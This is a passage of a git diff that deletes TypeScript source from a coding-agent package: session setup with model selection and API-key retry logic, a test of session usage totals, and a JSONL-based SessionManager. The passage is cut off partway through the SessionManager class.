// Clear the queue so bindCore() doesn't re-register the same providers. - extensionsForModelResolution.runtime.pendingProviderRegistrations = []; - - // If still no model, use findInitialModel (checks settings default, then provider defaults) - if (!model) { - const result = await findInitialModel({ - scopedModels: [], - isContinuing: hasExistingSession, - defaultProvider: settingsManager.getDefaultProvider(), - defaultModelId: settingsManager.getDefaultModel(), - defaultThinkingLevel: settingsManager.getDefaultThinkingLevel(), - modelRegistry, - }); - model = result.model; - if (!model) { - modelFallbackMessage = `No models available. Use /login or set an API key environment variable. See ${join(getDocsPath(), "providers.md")}. Then use /model to select a model.`; - } else if (modelFallbackMessage) { - modelFallbackMessage += `. Using ${model.provider}/${model.id}`; - } - } - - let thinkingLevel = options.thinkingLevel; - - // If session has data, restore thinking level from it - if (thinkingLevel === undefined && hasExistingSession) { - thinkingLevel = hasThinkingEntry - ? (existingSession.thinkingLevel as ThinkingLevel) - : (settingsManager.getDefaultThinkingLevel() ?? DEFAULT_THINKING_LEVEL); - } - - // Fall back to settings default - if (thinkingLevel === undefined) { - thinkingLevel = - settingsManager.getDefaultThinkingLevel() ?? DEFAULT_THINKING_LEVEL; - } - - // Clamp to model capabilities - if (!model || !model.reasoning) { - thinkingLevel = "off"; - } - - const editMode = settingsManager.getEditMode(); - const defaultActiveToolNames: ToolName[] = - editMode === "hashline" - ? [ - "hashline_read", - "grep", - "find", - "ls", - "bash", - "hashline_edit", - "write", - "lsp", - ] - : ["read", "grep", "find", "ls", "bash", "edit", "write", "lsp"]; - const initialActiveToolNames: ToolName[] = options.tools - ? options.tools - .map((t) => t.name) - .filter((n): n is ToolName => n in allTools) - : defaultActiveToolNames; - - let agent: Agent; - - // Create convertToLlm wrapper that filters images if blockImages is enabled (defense-in-depth) - const convertToLlmWithBlockImages = (messages: AgentMessage[]): Message[] => { - const converted = convertToLlm(messages); - // Check setting dynamically so mid-session changes take effect - if (!settingsManager.getBlockImages()) { - return converted; - } - // Filter out ImageContent from all messages, replacing with text placeholder - return converted.map((msg) => { - if (msg.role === "user" || msg.role === "toolResult") { - const content = msg.content; - if (Array.isArray(content)) { - const hasImages = content.some((c) => c.type === "image"); - if (hasImages) { - const filteredContent = content - .map((c) => - c.type === "image" - ? { - type: "text" as const, - text: "Image reading is disabled.", - } - : c, - ) - .filter( - (c, i, arr) => - // Dedupe consecutive "Image reading is disabled." texts - !( - c.type === "text" && - c.text === "Image reading is disabled." && - i > 0 && - arr[i - 1].type === "text" && - (arr[i - 1] as { type: "text"; text: string }).text === - "Image reading is disabled." - ), - ); - return { ...msg, content: filteredContent }; - } - } - } - return msg; - }); - }; - - const extensionRunnerRef: { current?: ExtensionRunner } = {}; - - agent = new Agent({ - initialState: { - systemPrompt: "", - model, - thinkingLevel, - tools: [], - }, - convertToLlm: convertToLlmWithBlockImages, - onPayload: async (payload, currentModel) => { - const runner = extensionRunnerRef.current; - if (!runner?.hasHandlers("before_provider_request")) { - return payload; - } - return runner.emitBeforeProviderRequest(payload, currentModel); - }, - sessionId: sessionManager.getSessionId(), - transformContext: async (messages) => { - const runner = extensionRunnerRef.current; - if (!runner) return messages; - return runner.emitContext(messages); - }, - steeringMode: settingsManager.getSteeringMode(), - followUpMode: settingsManager.getFollowUpMode(), - interruptToolExecutionOnSteering: false, - transport: settingsManager.getTransport(), - thinkingBudgets: settingsManager.getThinkingBudgets(), - maxRetryDelayMs: settingsManager.getRetrySettings().maxDelayMs, - externalToolExecution: shouldUseExternalToolExecution, - getProviderOptions: async (currentModel) => { - if (currentModel.provider !== "claude-code") return undefined; - const runner = extensionRunnerRef.current; - if (!runner?.hasUI()) return undefined; - return { - extensionUIContext: runner.getUIContext(), - }; - }, - getApiKey: async (provider) => { - // Use the provider argument from the in-flight request; - // agent.state.model may already be switched mid-turn. - const resolvedProvider = provider || agent.state.model?.provider; - if (!resolvedProvider) { - throw new Error("No model selected"); - } - const authMode = modelRegistry.getProviderAuthMode(resolvedProvider); - if (authMode === "externalCli" || authMode === "none") { - return undefined; - } - - // Retry key resolution with backoff to handle transient network failures - // (e.g., OAuth token refresh failing due to brief connectivity loss). - // When credentials are in a cooldown window (e.g., after a 429), wait - // for the backoff to expire instead of using fixed delays that are - // shorter than the cooldown duration. - const maxAttempts = 3; - const baseDelayMs = 2000; - const maxCooldownWaitMs = 60_000; // Don't wait longer than 60s (skip quota-exhausted 30min backoffs) - for (let attempt = 1; attempt <= maxAttempts; attempt++) { - const key = await modelRegistry.getApiKeyForProvider(resolvedProvider); - if (key) return key; - - // On the last attempt, fall through to error handling below - if (attempt >= maxAttempts) break; - - // Only retry if credentials exist (network issue) — no point retrying - // when there are genuinely no credentials configured. - const hasAuth = modelRegistry.authStorage.hasAuth(resolvedProvider); - const model = agent.state.model; - const isOAuth = model && modelRegistry.isUsingOAuth(model); - if (!hasAuth && !isOAuth) break; - - // If credentials are in a cooldown window, wait for the earliest - // one to expire rather than using a fixed delay that's too short. - const backoffExpiry = - modelRegistry.authStorage.getEarliestBackoffExpiry(resolvedProvider); - if (backoffExpiry !== undefined) { - const waitMs = backoffExpiry - Date.now() + 500; // 500ms buffer - if (waitMs > 0 && waitMs <= maxCooldownWaitMs) { - await new Promise((resolve) => setTimeout(resolve, waitMs)); - continue; // Retry immediately after cooldown clears - } - if (waitMs > maxCooldownWaitMs) { - break; // Quota-exhausted or very long backoff — don't block - } - } - - // Standard exponential backoff for non-cooldown transient failures - await new Promise((resolve) => - setTimeout(resolve, baseDelayMs * attempt), - ); - } - - // All retries exhausted — throw descriptive error. - // Check if credentials exist but are temporarily in a backoff window - // (e.g., after a 429). This message intentionally avoids phrases like - // "rate limit" / "429" to prevent isRetryableError() from re-entering - // the retry handler and creating cascading error entries (#3429). - const hasAuth = modelRegistry.authStorage.hasAuth(resolvedProvider); - if (hasAuth) { - // Anthropic OAuth was removed in v2.74.0 for TOS compliance (#3952). - // Users who upgraded from an older version may still have OAuth - // credentials in auth.json that will never resolve to a valid API key. - if ( - resolvedProvider === "anthropic" && - modelRegistry.authStorage.hasLegacyOAuthCredential(resolvedProvider) - ) { - // Self-heal: strip the stale oauth entry so hasAuth() stops lying - // about anthropic being configured. This preserves any api_key - // credentials alongside it. - const removed = - modelRegistry.authStorage.removeLegacyOAuthCredential( - resolvedProvider, - ); - if (removed) { - console.warn( - `[auth] Removed unsupported Anthropic OAuth credential from auth.json (#3952).`, - ); - } - if (isClaudeCodeBinaryInPath()) { - throw new Error( - `Removed stale Anthropic OAuth credential (OAuth support removed in v2.74.0). ` + - `Your current model's provider is set to "anthropic" but the local Claude Code CLI ` + - `is available — switch the model's provider to "claude-code" in your preferences ` + - `to use it, or set ANTHROPIC_API_KEY to continue with the Anthropic API directly.`, - ); - } - throw new Error( - `Removed stale Anthropic OAuth credential (OAuth support removed in v2.74.0). ` + - `Set ANTHROPIC_API_KEY, run '/login' and paste an API key, or switch to a different provider.`, - ); - } - const expiry = - modelRegistry.authStorage.getEarliestBackoffExpiry(resolvedProvider); - const retryAfterMs = - expiry !== undefined ? Math.max(0, expiry - Date.now()) : undefined; - throw new CredentialCooldownError(resolvedProvider, retryAfterMs); - } - const model = agent.state.model; - const isOAuth = model && modelRegistry.isUsingOAuth(model); - if (isOAuth) { - // If credentials exist but are all in a backoff window (quota / rate-limit), - // surface a specific message instead of the misleading "Authentication failed". - if ( - modelRegistry.authStorage.areAllCredentialsBackedOff(resolvedProvider) - ) { - const expiry = - modelRegistry.authStorage.getEarliestBackoffExpiry( - resolvedProvider, - ); - const retryAfterMs = - expiry !== undefined ? Math.max(0, expiry - Date.now()) : undefined; - throw new CredentialCooldownError(resolvedProvider, retryAfterMs); - } - throw new Error( - `Authentication failed for "${resolvedProvider}". ` + - `Credentials may have expired or network is unavailable. ` + - `Run '/login ${resolvedProvider}' to re-authenticate.`, - ); - } - throw new Error( - `No API key found for "${resolvedProvider}". ` + - `Set an API key environment variable or run '/login ${resolvedProvider}'.`, - ); - }, - }); - - // Restore messages if session has existing data - if (hasExistingSession) { - agent.replaceMessages(existingSession.messages); - if (!hasThinkingEntry) { - sessionManager.appendThinkingLevelChange(thinkingLevel); - } - } else { - // Save initial model and thinking level for new sessions so they can be restored on resume - if (model) { - sessionManager.appendModelChange(model.provider, model.id); - } - sessionManager.appendThinkingLevelChange(thinkingLevel); - } - - const session = new AgentSession({ - agent, - sessionManager, - settingsManager, - cwd, - scopedModels: options.scopedModels, - resourceLoader, - customTools: options.customTools, - modelRegistry, - initialActiveToolNames, - extensionRunnerRef, - isClaudeCodeReady: options.isClaudeCodeReady, - persistModelChanges: options.persistModelChanges, - }); - const extensionsResult = resourceLoader.getExtensions(); - - return { - session, - extensionsResult, - modelFallbackMessage, - }; -} diff --git a/packages/pi-coding-agent/src/core/session-manager.test.ts b/packages/pi-coding-agent/src/core/session-manager.test.ts deleted file mode 100644 index 61bade776..000000000 --- a/packages/pi-coding-agent/src/core/session-manager.test.ts +++ /dev/null @@ -1,74 +0,0 @@ -import assert from "node:assert/strict"; -import { mkdtempSync, rmSync } from "node:fs"; -import { tmpdir } from "node:os"; -import { join } from "node:path"; -import { afterEach, describe, it } from "vitest"; - -import { SessionManager } from "./session-manager.js"; - -function makeAssistantMessage( - input: number, - output: number, - cacheRead = 0, - cacheWrite = 0, - cost = 0, -) { - return { - role: "assistant", - content: [{ type: "text", text: "ok" }], - usage: { - input, - output, - cacheRead, - cacheWrite, - total: input + output + cacheRead + cacheWrite, - cost: { total: cost }, - }, - } as any; -} - -describe("SessionManager usage totals", () => { - let dir: string; - - afterEach(() => { - if (dir) { - rmSync(dir, { recursive: true, force: true }); - } - }); - - it("tracks assistant usage incrementally without rescanning entries", () => { - dir = mkdtempSync(join(tmpdir(), "sf-session-manager-test-")); - const manager = SessionManager.create(dir, dir); - - manager.appendMessage({ - role: "user", - content: [{ type: "text", text: "hello" }], - } as any); - manager.appendMessage(makeAssistantMessage(10, 5, 3, 2, 0.25)); - manager.appendMessage(makeAssistantMessage(7, 4, 1, 0, 0.1)); - - assert.deepEqual(manager.getUsageTotals(), { - input: 17, - output: 9, - cacheRead: 4, - cacheWrite: 2, - cost: 0.35, - }); - }); - - it("resets totals when starting a new session", () => { - dir = mkdtempSync(join(tmpdir(), "sf-session-manager-test-")); - const manager = SessionManager.create(dir, dir); - manager.appendMessage(makeAssistantMessage(5, 5, 0, 0, 0.05)); - assert.equal(manager.getUsageTotals().input, 5); - - manager.newSession(); - assert.deepEqual(manager.getUsageTotals(), { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - cost: 0, - }); - }); -}); diff --git a/packages/pi-coding-agent/src/core/session-manager.ts b/packages/pi-coding-agent/src/core/session-manager.ts deleted file mode 100644 index 1c4890799..000000000 --- a/packages/pi-coding-agent/src/core/session-manager.ts +++ /dev/null @@ -1,1821 +0,0 @@ -import { randomUUID } from "node:crypto"; -import { - appendFileSync, - closeSync, - existsSync, - mkdirSync, - openSync, - readdirSync, - readFileSync, - readSync, - statSync, -} from "node:fs"; -import { readdir, readFile, stat } from "node:fs/promises"; -import { join, resolve } from "node:path"; -import type { AgentMessage } from "@singularity-forge/pi-agent-core"; -import type { - ImageContent, - Message, - TextContent, -} from "@singularity-forge/pi-ai"; -import { - getBlobsDir, - getAgentDir as getDefaultAgentDir, - getSessionsDir, -} from "../config.js"; -import { - BlobStore, - externalizeImageData, - isBlobRef, - resolveImageData, -} from "./blob-store.js"; -import { atomicWriteFileSync } from "./fs-utils.js"; -import { tryAcquireLockSync } from "./lock-utils.js"; -import { - type BashExecutionMessage, - type CustomMessage, - createBranchSummaryMessage, - createCompactionSummaryMessage, - createCustomMessage, -} from "./messages.js"; - -/** Inline concurrency limiter to cap parallel async operations. */ -function pLimit(concurrency: number) { - const queue: (() => void)[] = []; - let active = 0; - return (fn: () => Promise): Promise => { - return new Promise((resolve, reject) => { - const run = () => { - active++; - fn() - .then(resolve, reject) - .finally(() => { - active--; - if (queue.length > 0) queue.shift()!(); - }); - }; - if (active < concurrency) run(); - else queue.push(run); - }); - }; -} - -const BLOB_EXTERNALIZE_THRESHOLD = 1024; // 1KB minimum to externalize -const MAX_PERSIST_CHARS = 500_000; -const TRUNCATION_NOTICE = "\n\n[Session persistence truncated large content]"; - -export const CURRENT_SESSION_VERSION = 3; - -export interface SessionHeader { - type: "session"; - version?: number; // v1 sessions don't have this - id: string; - timestamp: string; - cwd: string; - parentSession?: string; -} - -export interface NewSessionOptions { - parentSession?: string; -} - -export interface SessionEntryBase { - type: string; - id: string; - parentId: string | null; - mergeParentIds?: string[]; // DAG support for Swarm Consensus - timestamp: string; -} - -export interface SessionMessageEntry extends SessionEntryBase { - type: "message"; - message: AgentMessage; -} - -export interface ThinkingLevelChangeEntry extends SessionEntryBase { - type: "thinking_level_change"; - thinkingLevel: string; -} - -export interface ModelChangeEntry extends SessionEntryBase { - type: "model_change"; - provider: string; - modelId: string; -} - -export interface CompactionEntry extends SessionEntryBase { - type: "compaction"; - summary: string; - firstKeptEntryId: string; - tokensBefore: number; - /** Extension-specific data (e.g., ArtifactIndex, version markers for structured compaction) */ - details?: T; - /** True if generated by an extension, undefined/false if pi-generated (backward compatible) */ - fromHook?: boolean; -} - -export interface BranchSummaryEntry extends SessionEntryBase { - type: "branch_summary"; - fromId: string; - summary: string; - /** Extension-specific data (not sent to LLM) */ - details?: T; - /** True if generated by an extension, false if pi-generated */ - fromHook?: boolean; -} - -/** - * Custom entry for extensions to store extension-specific data in the session. - * Use customType to identify your extension's entries. - * - * Purpose: Persist extension state across session reloads. On reload, extensions can - * scan entries for their customType and reconstruct internal state. - * - * Does NOT participate in LLM context (ignored by buildSessionContext). - * For injecting content into context, see CustomMessageEntry. - */ -export interface CustomEntry extends SessionEntryBase { - type: "custom"; - customType: string; - data?: T; -} - -/** Label entry for user-defined bookmarks/markers on entries. */ -export interface LabelEntry extends SessionEntryBase { - type: "label"; - targetId: string; - label: string | undefined; -} - -/** Session metadata entry (e.g., user-defined display name). */ -export interface SessionInfoEntry extends SessionEntryBase { - type: "session_info"; - name?: string; -} - -/** - * Custom message entry for extensions to inject messages into LLM context. - * Use customType to identify your extension's entries. - * - * Unlike CustomEntry, this DOES participate in LLM context. - * The content is converted to a user message in buildSessionContext(). - * Use details for extension-specific metadata (not sent to LLM). - * - * display controls TUI rendering: - * - false: hidden entirely - * - true: rendered with distinct styling (different from user messages) - */ -export interface CustomMessageEntry extends SessionEntryBase { - type: "custom_message"; - customType: string; - content: string | (TextContent | ImageContent)[]; - details?: T; - display: boolean; -} - -/** Session entry - has id/parentId for tree structure (returned by "read" methods in SessionManager) */ -export type SessionEntry = - | SessionMessageEntry - | ThinkingLevelChangeEntry - | ModelChangeEntry - | CompactionEntry - | BranchSummaryEntry - | CustomEntry - | CustomMessageEntry - | LabelEntry - | SessionInfoEntry; - -/** Raw file entry (includes header) */ -export type FileEntry = SessionHeader | SessionEntry; - -/** Tree node for getTree() - defensive copy of session structure */ -export interface SessionTreeNode { - entry: SessionEntry; - children: SessionTreeNode[]; - /** Resolved label for this entry, if any */ - label?: string; -} - -export interface SessionContext { - messages: AgentMessage[]; - thinkingLevel: string; - model: { provider: string; modelId: string } | null; -} - -export interface SessionInfo { - path: string; - id: string; - /** Working directory where the session was started. Empty string for old sessions. */ - cwd: string; - /** User-defined display name from session_info entries. */ - name?: string; - /** Path to the parent session (if this session was forked). */ - parentSessionPath?: string; - created: Date; - modified: Date; - messageCount: number; - firstMessage: string; - allMessagesText: string; -} - -export interface SessionUsageTotals { - input: number; - output: number; - cacheRead: number; - cacheWrite: number; - cost: number; -} - -export type ReadonlySessionManager = Pick< - SessionManager, - | "getCwd" - | "getSessionDir" - | "getSessionId" - | "getSessionFile" - | "getLeafId" - | "getLeafEntry" - | "getEntry" - | "getLabel" - | "getBranch" - | "getHeader" - | "getEntries" - | "getUsageTotals" - | "getTree" - | "getSessionName" ->; - -function createEmptyUsageTotals(): SessionUsageTotals { - return { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - cost: 0, - }; -} - -/** Generate a unique short ID (8 hex chars, collision-checked) */ -function generateId(byId: { has(id: string): boolean }): string { - for (let i = 0; i < 100; i++) { - const id = randomUUID().slice(0, 8); - if (!byId.has(id)) return id; - } - // Fallback to full UUID if somehow we have collisions - return randomUUID(); -} - -/** Migrate v1 → v2: add id/parentId tree structure. Mutates in place. */ -function migrateV1ToV2(entries: FileEntry[]): void { - const ids = new Set(); - let prevId: string | null = null; - - for (const entry of entries) { - if (entry.type === "session") { - entry.version = 2; - continue; - } - - entry.id = generateId(ids); - entry.parentId = prevId; - prevId = entry.id; - - // Convert firstKeptEntryIndex to firstKeptEntryId for compaction - if (entry.type === "compaction") { - const comp = entry as CompactionEntry & { firstKeptEntryIndex?: number }; - if (typeof comp.firstKeptEntryIndex === "number") { - const targetEntry = entries[comp.firstKeptEntryIndex]; - if (targetEntry && targetEntry.type !== "session") { - comp.firstKeptEntryId = targetEntry.id; - } - delete comp.firstKeptEntryIndex; - } - } - } -} - -/** Migrate v2 → v3: rename hookMessage role to custom. Mutates in place. */ -function migrateV2ToV3(entries: FileEntry[]): void { - for (const entry of entries) { - if (entry.type === "session") { - entry.version = 3; - continue; - } - - // Update message entries with hookMessage role - if (entry.type === "message") { - const msgEntry = entry as SessionMessageEntry; - if ( - msgEntry.message && - (msgEntry.message as { role: string }).role === "hookMessage" - ) { - (msgEntry.message as { role: string }).role = "custom"; - } - } - } -} - -/** - * Run all necessary migrations to bring entries to current version. - * Mutates entries in place. Returns true if any migration was applied. - */ -function migrateToCurrentVersion(entries: FileEntry[]): boolean { - const header = entries.find((e) => e.type === "session") as - | SessionHeader - | undefined; - const version = header?.version ?? 1; - - if (version >= CURRENT_SESSION_VERSION) return false; - - if (version < 2) migrateV1ToV2(entries); - if (version < 3) migrateV2ToV3(entries); - - return true; -} - -/** Exported for testing */ -export function migrateSessionEntries(entries: FileEntry[]): void { - migrateToCurrentVersion(entries); -} - -/** Exported for compaction.test.ts */ -export function parseSessionEntries(content: string): FileEntry[] { - const entries: FileEntry[] = []; - const lines = content.trim().split("\n"); - - for (const line of lines) { - if (!line.trim()) continue; - try { - const entry = JSON.parse(line) as FileEntry; - entries.push(entry); - } catch { - // Skip malformed lines - } - } - - return entries; -} - -export function getLatestCompactionEntry( - entries: SessionEntry[], -): CompactionEntry | null { - for (let i = entries.length - 1; i >= 0; i--) { - if (entries[i].type === "compaction") { - return entries[i] as CompactionEntry; - } - } - return null; -} - -/** - * Build the session context from entries using tree traversal. - * If leafId is provided, walks from that entry to root. - * Handles compaction and branch summaries along the path. - */ -export function buildSessionContext( - entries: SessionEntry[], - leafId?: string | null, - byId?: Map, -): SessionContext { - // Build uuid index if not available - if (!byId) { - byId = new Map(); - for (const entry of entries) { - byId.set(entry.id, entry); - } - } - - // Find leaf - let leaf: SessionEntry | undefined; - if (leafId === null) { - // Explicitly null - return no messages (navigated to before first entry) - return { messages: [], thinkingLevel: "off", model: null }; - } - if (leafId) { - leaf = byId.get(leafId); - } - if (!leaf) { - // Fallback to last entry (when leafId is undefined) - leaf = entries[entries.length - 1]; - } - - if (!leaf) { - return { messages: [], thinkingLevel: "off", model: null }; - } - - // Walk from leaf to root, collecting path - const path: SessionEntry[] = []; - let current: SessionEntry | undefined = leaf; - while (current) { - path.unshift(current); - current = current.parentId ? byId.get(current.parentId) : undefined; - } - - // Extract settings and find compaction - let thinkingLevel = "off"; - let model: { provider: string; modelId: string } | null = null; - let compaction: CompactionEntry | null = null; - - for (const entry of path) { - if (entry.type === "thinking_level_change") { - thinkingLevel = entry.thinkingLevel; - } else if (entry.type === "model_change") { - model = { provider: entry.provider, modelId: entry.modelId }; - } else if (entry.type === "message" && entry.message.role === "assistant") { - model = { - provider: entry.message.provider, - modelId: entry.message.model, - }; - } else if (entry.type === "compaction") { - compaction = entry; - } - } - - // Build messages and collect corresponding entries - // When there's a compaction, we need to: - // 1. Emit summary first (entry = compaction) - // 2. Emit kept messages (from firstKeptEntryId up to compaction) - // 3. Emit messages after compaction - const messages: AgentMessage[] = []; - - const appendMessage = (entry: SessionEntry) => { - if (entry.type === "message") { - messages.push(entry.message); - } else if (entry.type === "custom_message") { - messages.push( - createCustomMessage( - entry.customType, - entry.content, - entry.display, - entry.details, - entry.timestamp, - ), - ); - } else if (entry.type === "branch_summary" && entry.summary) { - messages.push( - createBranchSummaryMessage( - entry.summary, - entry.fromId, - entry.timestamp, - ), - ); - } - }; - - if (compaction) { - // Emit summary first - messages.push( - createCompactionSummaryMessage( - compaction.summary, - compaction.tokensBefore, - compaction.timestamp, - ), - ); - - // Find compaction index in path - const compactionIdx = path.findIndex( - (e) => e.type === "compaction" && e.id === compaction.id, - ); - - // Emit kept messages (before compaction, starting from firstKeptEntryId) - let foundFirstKept = false; - for (let i = 0; i < compactionIdx; i++) { - const entry = path[i]; - if (entry.id === compaction.firstKeptEntryId) { - foundFirstKept = true; - } - if (foundFirstKept) { - appendMessage(entry); - } - } - - // Emit messages after compaction - for (let i = compactionIdx + 1; i < path.length; i++) { - const entry = path[i]; - appendMessage(entry); - } - } else { - // No compaction - emit all messages, handle branch summaries and custom messages - for (const entry of path) { - appendMessage(entry); - } - } - - return { messages, thinkingLevel, model }; -} - -/** - * Compute the default session directory for a cwd. - * Encodes cwd into a safe directory name under ~/.pi/agent/sessions/. - */ -function getDefaultSessionDir(cwd: string): string { - const safePath = `--${cwd.replace(/^[/\\]/, "").replace(/[/\\:]/g, "-")}--`; - const sessionDir = join(getDefaultAgentDir(), "sessions", safePath); - if (!existsSync(sessionDir)) { - mkdirSync(sessionDir, { recursive: true }); - } - return sessionDir; -} - -function isImageBlock( - value: unknown, -): value is { type: "image"; data: string; mimeType?: string } { - return ( - typeof value === "object" && - value !== null && - "type" in value && - (value as { type?: string }).type === "image" && - "data" in value && - typeof (value as { data?: string }).data === "string" - ); -} - -function truncateString(s: string, maxLength: number): string { - if (s.length <= maxLength) return s; - // Avoid splitting surrogate pairs - if ( - maxLength > 0 && - s.charCodeAt(maxLength - 1) >= 0xd800 && - s.charCodeAt(maxLength - 1) <= 0xdbff - ) { - return s.slice(0, maxLength - 1); - } - return s.slice(0, maxLength); -} - -/** - * Prepare an entry for JSONL persistence: externalize large images to blob store, - * truncate oversized strings, strip transient fields. - */ -function prepareForPersistence( - obj: unknown, - blobStore: BlobStore, - key?: string, -): unknown { - if (obj === null || obj === undefined) return obj; - - if (typeof obj === "string") { - if (obj.length > MAX_PERSIST_CHARS) { - // Cryptographic signatures must be preserved exactly or cleared entirely - if ( - key === "thinkingSignature" || - key === "thoughtSignature" || - key === "textSignature" - ) { - return ""; - } - const limit = Math.max(0, MAX_PERSIST_CHARS - TRUNCATION_NOTICE.length); - return `${truncateString(obj, limit)}${TRUNCATION_NOTICE}`; - } - return obj; - } - - if (Array.isArray(obj)) { - let changed = false; - const result = obj.map((item) => { - // Externalize oversized images to blob store - if (key === "content" && isImageBlock(item)) { - if ( - !isBlobRef(item.data) && - item.data.length >= BLOB_EXTERNALIZE_THRESHOLD - ) { - changed = true; - const blobRef = externalizeImageData(blobStore, item.data); - return { ...item, data: blobRef }; - } - } - const newItem = prepareForPersistence(item, blobStore, key); - if (newItem !== item) changed = true; - return newItem; - }); - return changed ? result : obj; - } - - if (typeof obj === "object") { - let changed = false; - const result: Record = {}; - for (const [k, v] of Object.entries(obj as Record)) { - // Strip transient properties - if (k === "partialJson" || k === "jsonlEvents") { - changed = true; - continue; - } - const newV = prepareForPersistence(v, blobStore, k); - result[k] = newV; - if (newV !== v) changed = true; - } - // Update lineCount if content was truncated (for FileMentionFile) - if ( - changed && - "lineCount" in result && - "content" in result && - typeof result.content === "string" - ) { - result.lineCount = (result.content as string).split("\n").length; - } - return changed ? result : obj; - } - - return obj; -} - -/** - * Resolve blob references in loaded entries, replacing `blob:sha256:` data - * fields with actual base64 content. Mutates entries in place. - */ -function resolveBlobRefsInEntries( - entries: FileEntry[], - blobStore: BlobStore, -): void { - for (const entry of entries) { - if (entry.type === "session") continue; - - let contentArray: unknown[] | undefined; - if (entry.type === "message") { - const content = ( - (entry as SessionMessageEntry).message as { content?: unknown } - ).content; - if (Array.isArray(content)) contentArray = content; - } else if ( - entry.type === "custom_message" && - Array.isArray((entry as any).content) - ) { - contentArray = (entry as any).content; - } - - if (!contentArray) continue; - - for (const block of contentArray) { - if (isImageBlock(block) && isBlobRef(block.data)) { - (block as { data: string }).data = resolveImageData( - blobStore, - block.data, - ); - } - } - } -} - -function loadEntriesFromFile(filePath: string): FileEntry[] { - if (!existsSync(filePath)) return []; - - const content = readFileSync(filePath, "utf8"); - const entries: FileEntry[] = []; - const lines = content.trim().split("\n"); - - for (const line of lines) { - if (!line.trim()) continue; - try { - const entry = JSON.parse(line) as FileEntry; - entries.push(entry); - } catch { - // Skip malformed lines - } - } - - // Validate session header - if (entries.length === 0) return entries; - const header = entries[0]; - if (header.type !== "session" || typeof (header as any).id !== "string") { - return []; - } - - return entries; -} - -function isValidSessionFile(filePath: string): boolean { - try { - const fd = openSync(filePath, "r"); - const buffer = Buffer.alloc(512); - const bytesRead = readSync(fd, buffer, 0, 512, 0); - closeSync(fd); - const firstLine = buffer.toString("utf8", 0, bytesRead).split("\n")[0]; - if (!firstLine) return false; - const header = JSON.parse(firstLine); - return header.type === "session" && typeof header.id === "string"; - } catch { - return false; - } -} - -function findMostRecentSession(sessionDir: string): string | null { - try { - const files = readdirSync(sessionDir) - .filter((f) => f.endsWith(".jsonl")) - .map((f) => join(sessionDir, f)) - .filter(isValidSessionFile) - .map((path) => ({ path, mtime: statSync(path).mtime })) - .sort((a, b) => b.mtime.getTime() - a.mtime.getTime()); - - return files[0]?.path || null; - } catch { - return null; - } -} - -function isMessageWithContent(message: AgentMessage): message is Message { - return typeof (message as Message).role === "string" && "content" in message; -} - -function extractTextContent(message: Message): string { - const content = message.content; - if (typeof content === "string") { - return content; - } - return content - .filter((block): block is TextContent => block.type === "text") - .map((block) => block.text) - .join(" "); -} - -function getLastActivityTime(entries: FileEntry[]): number | undefined { - let lastActivityTime: number | undefined; - - for (const entry of entries) { - if (entry.type !== "message") continue; - - const message = (entry as SessionMessageEntry).message; - if (!isMessageWithContent(message)) continue; - if (message.role !== "user" && message.role !== "assistant") continue; - - const msgTimestamp = (message as { timestamp?: number }).timestamp; - if (typeof msgTimestamp === "number") { - lastActivityTime = Math.max(lastActivityTime ?? 0, msgTimestamp); - continue; - } - - const entryTimestamp = (entry as SessionEntryBase).timestamp; - if (typeof entryTimestamp === "string") { - const t = new Date(entryTimestamp).getTime(); - if (!Number.isNaN(t)) { - lastActivityTime = Math.max(lastActivityTime ?? 0, t); - } - } - } - - return lastActivityTime; -} - -function getSessionModifiedDate( - entries: FileEntry[], - header: SessionHeader, - statsMtime: Date, -): Date { - const lastActivityTime = getLastActivityTime(entries); - if (typeof lastActivityTime === "number" && lastActivityTime > 0) { - return new Date(lastActivityTime); - } - - const headerTime = - typeof header.timestamp === "string" - ? new Date(header.timestamp).getTime() - : NaN; - return !Number.isNaN(headerTime) ? new Date(headerTime) : statsMtime; -} - -async function buildSessionInfo(filePath: string): Promise { - try { - const content = await readFile(filePath, "utf8"); - const entries: FileEntry[] = []; - const lines = content.trim().split("\n"); - - for (const line of lines) { - if (!line.trim()) continue; - try { - entries.push(JSON.parse(line) as FileEntry); - } catch { - // Skip malformed lines - } - } - - if (entries.length === 0) return null; - const header = entries[0]; - if (header.type !== "session") return null; - - const stats = await stat(filePath); - let messageCount = 0; - let firstMessage = ""; - const allMessages: string[] = []; - let name: string | undefined; - - for (const entry of entries) { - // Extract session name (use latest) - if (entry.type === "session_info") { - const infoEntry = entry as SessionInfoEntry; - if (infoEntry.name) { - name = infoEntry.name.trim(); - } - } - - if (entry.type !== "message") continue; - messageCount++; - - const message = (entry as SessionMessageEntry).message; - if (!isMessageWithContent(message)) continue; - if (message.role !== "user" && message.role !== "assistant") continue; - - const textContent = extractTextContent(message); - if (!textContent) continue; - - allMessages.push(textContent); - if (!firstMessage && message.role === "user") { - firstMessage = textContent; - } - } - - const cwd = - typeof (header as SessionHeader).cwd === "string" - ? (header as SessionHeader).cwd - : ""; - const parentSessionPath = (header as SessionHeader).parentSession; - - const modified = getSessionModifiedDate( - entries, - header as SessionHeader, - stats.mtime, - ); - - return { - path: filePath, - id: (header as SessionHeader).id, - cwd, - name, - parentSessionPath, - created: new Date((header as SessionHeader).timestamp), - modified, - messageCount, - firstMessage: firstMessage || "(no messages)", - allMessagesText: allMessages.join(" "), - }; - } catch { - return null; - } -} - -export type SessionListProgress = (loaded: number, total: number) => void; - -async function listSessionsFromDir( - dir: string, - onProgress?: SessionListProgress, - progressOffset = 0, - progressTotal?: number, -): Promise { - const sessions: SessionInfo[] = []; - if (!existsSync(dir)) { - return sessions; - } - - try { - const dirEntries = await readdir(dir); - const files = dirEntries - .filter((f) => f.endsWith(".jsonl")) - .map((f) => join(dir, f)); - const total = progressTotal ?? files.length; - - let loaded = 0; - const results = await Promise.all( - files.map(async (file) => { - const info = await buildSessionInfo(file); - loaded++; - onProgress?.(progressOffset + loaded, total); - return info; - }), - ); - for (const info of results) { - if (info) { - sessions.push(info); - } - } - } catch { - // Return empty list on error - } - - return sessions; -} - -/** - * Manages conversation sessions as append-only trees stored in JSONL files. - * - * Each session entry has an id and parentId forming a tree structure. The "leaf" - * pointer tracks the current position. Appending creates a child of the current leaf. - * Branching moves the leaf to an earlier entry, allowing new branches without - * modifying history. - * - * Use buildSessionContext() to get the resolved message list for the LLM, which - * handles compaction summaries and follows the path from root to current leaf. - */ -export class SessionManager { - private sessionId: string = ""; - private sessionFile: string | undefined; - private sessionDir: string; - private cwd: string; - private persist: boolean; - private flushed: boolean = false; - private 